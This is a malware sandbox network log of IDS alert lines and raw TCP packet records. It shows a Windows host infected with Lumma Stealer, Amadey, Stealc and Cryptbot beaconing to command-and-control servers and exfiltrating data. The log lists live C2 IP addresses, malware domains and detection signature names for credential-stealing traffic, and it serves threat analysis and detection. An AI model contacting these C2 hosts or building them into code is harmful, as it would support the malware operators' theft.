2024-12-16T17:02:43.588408+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.8	57701	1.1.1.1	53	UDP
2024-12-16T17:02:43.588408+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.8	57701	1.1.1.1	53	UDP
2024-12-16T17:02:43.826372+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.8	51414	1.1.1.1	53	UDP
2024-12-16T17:02:43.826372+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.8	51414	1.1.1.1	53	UDP
2024-12-16T17:02:44.060054+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.8	62279	1.1.1.1	53	UDP
2024-12-16T17:02:44.060054+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.8	62279	1.1.1.1	53	UDP
2024-12-16T17:02:45.254743+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49742	185.215.113.43	80	TCP
2024-12-16T17:02:45.925917+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49744	104.121.10.34	443	TCP
2024-12-16T17:02:46.727783+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49751	185.215.113.16	80	TCP
2024-12-16T17:02:47.078885+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.8	49744	104.121.10.34	443	TCP
2024-12-16T17:02:51.816510+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.8	50736	1.1.1.1	53	UDP
2024-12-16T17:02:53.015462+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	49767	138.124.35.95	80	TCP
2024-12-16T17:02:53.303796+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:53.303796+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:53.702517+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49771	185.215.113.43	80	TCP
2024-12-16T17:02:55.015169+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:55.015169+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49770	172.67.164.37	443	TCP
2024-12-16T17:02:55.016314+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	49779	138.124.35.95	80	TCP
2024-12-16T17:02:55.169344+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49777	185.215.113.16	80	TCP
2024-12-16T17:02:55.772753+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49780	172.67.164.37	443	TCP
2024-12-16T17:02:55.772753+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49780	172.67.164.37	443	TCP
2024-12-16T17:03:02.210210+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49809	185.215.113.43	80	TCP
2024-12-16T17:03:03.050875+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:03.520313+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:03.833872+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49811	TCP
2024-12-16T17:03:04.054398+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49813	185.215.113.16	80	TCP
2024-12-16T17:03:04.154937+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:04.418784+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.8	49818	138.124.35.95	80	TCP
2024-12-16T17:03:04.470013+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49811	TCP
2024-12-16T17:03:05.843278+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:06.281948+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49811	185.215.113.206	80	TCP
2024-12-16T17:03:06.663006+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.8	64548	1.1.1.1	53	UDP
2024-12-16T17:03:08.055232+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:08.055232+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:09.834409+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49834	185.215.113.43	80	TCP
2024-12-16T17:03:10.909249+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:10.909249+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49828	172.67.164.37	443	TCP
2024-12-16T17:03:11.363179+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49845	185.215.113.16	80	TCP
2024-12-16T17:03:12.215025+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:12.215025+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:14.468530+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:14.468530+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49848	172.67.164.37	443	TCP
2024-12-16T17:03:20.505465+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49888	172.67.164.37	443	TCP
2024-12-16T17:03:20.505465+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49888	172.67.164.37	443	TCP
2024-12-16T17:03:20.555841+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49886	185.215.113.43	80	TCP
2024-12-16T17:03:22.209388+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49897	31.41.244.11	80	TCP
2024-12-16T17:03:25.752556+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:03:25.752556+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:03:27.448339+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49919	172.67.164.37	443	TCP
2024-12-16T17:03:28.842841+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49926	172.67.164.37	443	TCP
2024-12-16T17:03:28.842841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49926	172.67.164.37	443	TCP
2024-12-16T17:03:33.027245+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49940	172.67.164.37	443	TCP
2024-12-16T17:03:33.027245+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49940	172.67.164.37	443	TCP
2024-12-16T17:03:33.240252+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49939	185.215.113.43	80	TCP
2024-12-16T17:03:33.800059+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:34.691072+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49944	31.41.244.11	80	TCP
2024-12-16T17:03:35.643565+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:36.898641+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:37.948263+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:39.388184+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:03:39.388184+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:03:39.424916+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49956	172.67.164.37	443	TCP
2024-12-16T17:03:40.428626+0100	2856121	ETPRO MALWARE Amadey CnC Activity M2	1	192.168.2.8	49958	185.215.113.43	80	TCP
2024-12-16T17:03:41.314449+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:41.887008+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49963	31.41.244.11	80	TCP
2024-12-16T17:03:42.361840+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49937	185.215.113.206	80	TCP
2024-12-16T17:03:46.084489+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:46.084489+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:48.152244+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:48.893924+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49982	185.215.113.43	80	TCP
2024-12-16T17:03:49.046148+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49972	172.67.164.37	443	TCP
2024-12-16T17:03:50.273246+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:50.273246+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:50.531232+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49986	185.215.113.16	80	TCP
2024-12-16T17:03:50.637178+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:50.637178+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49978	172.67.177.250	443	TCP
2024-12-16T17:03:52.228384+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:52.228384+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49985	172.67.164.37	443	TCP
2024-12-16T17:03:52.688850+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:53.702362+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:53.702362+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:55.577453+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50021	185.215.113.206	80	TCP
2024-12-16T17:03:56.034316+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:56.034316+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49999	172.67.177.250	443	TCP
2024-12-16T17:03:56.705856+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:56.705856+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50012	172.67.164.37	443	TCP
2024-12-16T17:03:57.546218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50043	172.67.177.250	443	TCP
2024-12-16T17:03:59.785324+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50056	172.67.164.37	443	TCP
2024-12-16T17:03:59.785324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50056	172.67.164.37	443	TCP
2024-12-16T17:04:00.017180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50058	172.67.177.250	443	TCP
2024-12-16T17:04:00.453717+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50055	185.215.113.206	80	TCP
2024-12-16T17:04:01.923798+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50065	172.67.164.37	443	TCP
2024-12-16T17:04:01.923798+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50065	172.67.164.37	443	TCP
2024-12-16T17:04:02.163916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50066	172.67.177.250	443	TCP
2024-12-16T17:04:04.218710+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50072	172.67.164.37	443	TCP
2024-12-16T17:04:04.218710+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50072	172.67.164.37	443	TCP
2024-12-16T17:04:04.708249+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50075	172.67.177.250	443	TCP
2024-12-16T17:04:06.087937+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	50075	172.67.177.250	443	TCP
2024-12-16T17:04:06.336936+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50079	172.67.164.37	443	TCP
2024-12-16T17:04:06.336936+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50079	172.67.164.37	443	TCP
2024-12-16T17:04:07.520348+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	50079	172.67.164.37	443	TCP
2024-12-16T17:04:07.691043+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50083	185.215.113.206	80	TCP
2024-12-16T17:04:08.574835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50087	172.67.177.250	443	TCP
2024-12-16T17:04:08.578349+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	50087	172.67.177.250	443	TCP
2024-12-16T17:04:09.697966+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50091	172.67.164.37	443	TCP
2024-12-16T17:04:09.697966+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50091	172.67.164.37	443	TCP
2024-12-16T17:04:09.702025+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	50091	172.67.164.37	443	TCP
2024-12-16T17:04:11.413987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50098	172.67.177.250	443	TCP
2024-12-16T17:04:12.244071+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50098	172.67.177.250	443	TCP
2024-12-16T17:04:14.121811+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.8	50105	172.67.164.37	443	TCP
2024-12-16T17:04:14.121811+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	50105	172.67.164.37	443	TCP
2024-12-16T17:04:17.543778+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	50105	172.67.164.37	443	TCP
2024-12-16T17:04:19.005298+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	50117	185.215.113.16	80	TCP
2024-12-16T17:04:30.133926+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	50191	185.215.113.206	80	TCP
2024-12-16T17:04:53.232119+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	50216	TCP
2024-12-16T17:04:54.574365+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	50228	185.215.113.43	80	TCP
2024-12-16T17:07:11.419276+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	50291	185.215.113.43	80	TCP
2024-12-16T17:10:16.766803+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	50368	31.41.244.11	80	TCP
2024-12-16T17:10:16.766810+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	50367	TCP
2024-12-16T17:10:19.241437+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	50369	31.41.244.11	80	TCP
2024-12-16T17:10:19.880357+0100	2800029	ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass	1	31.41.244.11	80	192.168.2.8	50369	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 17:02:03.691375017 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:03.811877966 CET	80	49706	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:03.814450026 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:03.814538956 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:03.934564114 CET	80	49706	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:05.157782078 CET	80	49706	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:05.157865047 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.664143085 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.664472103 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.785610914 CET	80	49707	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:06.785803080 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.786077976 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.786434889 CET	80	49706	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:06.786506891 CET	49706	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:06.905847073 CET	80	49707	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:08.161216021 CET	80	49707	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:08.161241055 CET	80	49707	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:08.161362886 CET	49707	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:08.165731907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:08.286061049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:08.286205053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:08.286412954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:08.407126904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619091034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619134903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619200945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619333982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619375944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619393110 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619489908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619524956 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619549990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619606018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619808912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619832039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619849920 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.619862080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619899035 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.619926929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.620361090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.620377064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.620408058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.620430946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.739372015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.739473104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.739496946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.739538908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.743403912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.743503094 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.810981035 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.811057091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.811094999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.811135054 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.815371037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.815548897 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.815551996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.815604925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.823548079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.823612928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.826584101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.826634884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.826678038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.826723099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.835587978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.835643053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.835731030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.835777998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.844759941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.844816923 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.844875097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.844921112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.852334976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.852480888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.852497101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.852550030 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.860392094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.860574007 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.860579014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.860625029 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.868592024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.868650913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.868721008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.868783951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.877012014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.877074003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.877217054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.877264977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.885356903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.885376930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.885411978 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.885438919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.893122911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.893192053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.893309116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.893354893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:09.931278944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:09.931337118 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.002927065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.002981901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.003041983 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.003081083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.005654097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.005697012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.005793095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.005829096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.011802912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.011852980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.011940002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.011975050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:10.016208887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.016266108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:10.016290903 CET	49708	80	192.168.2.8	31.41.244.11
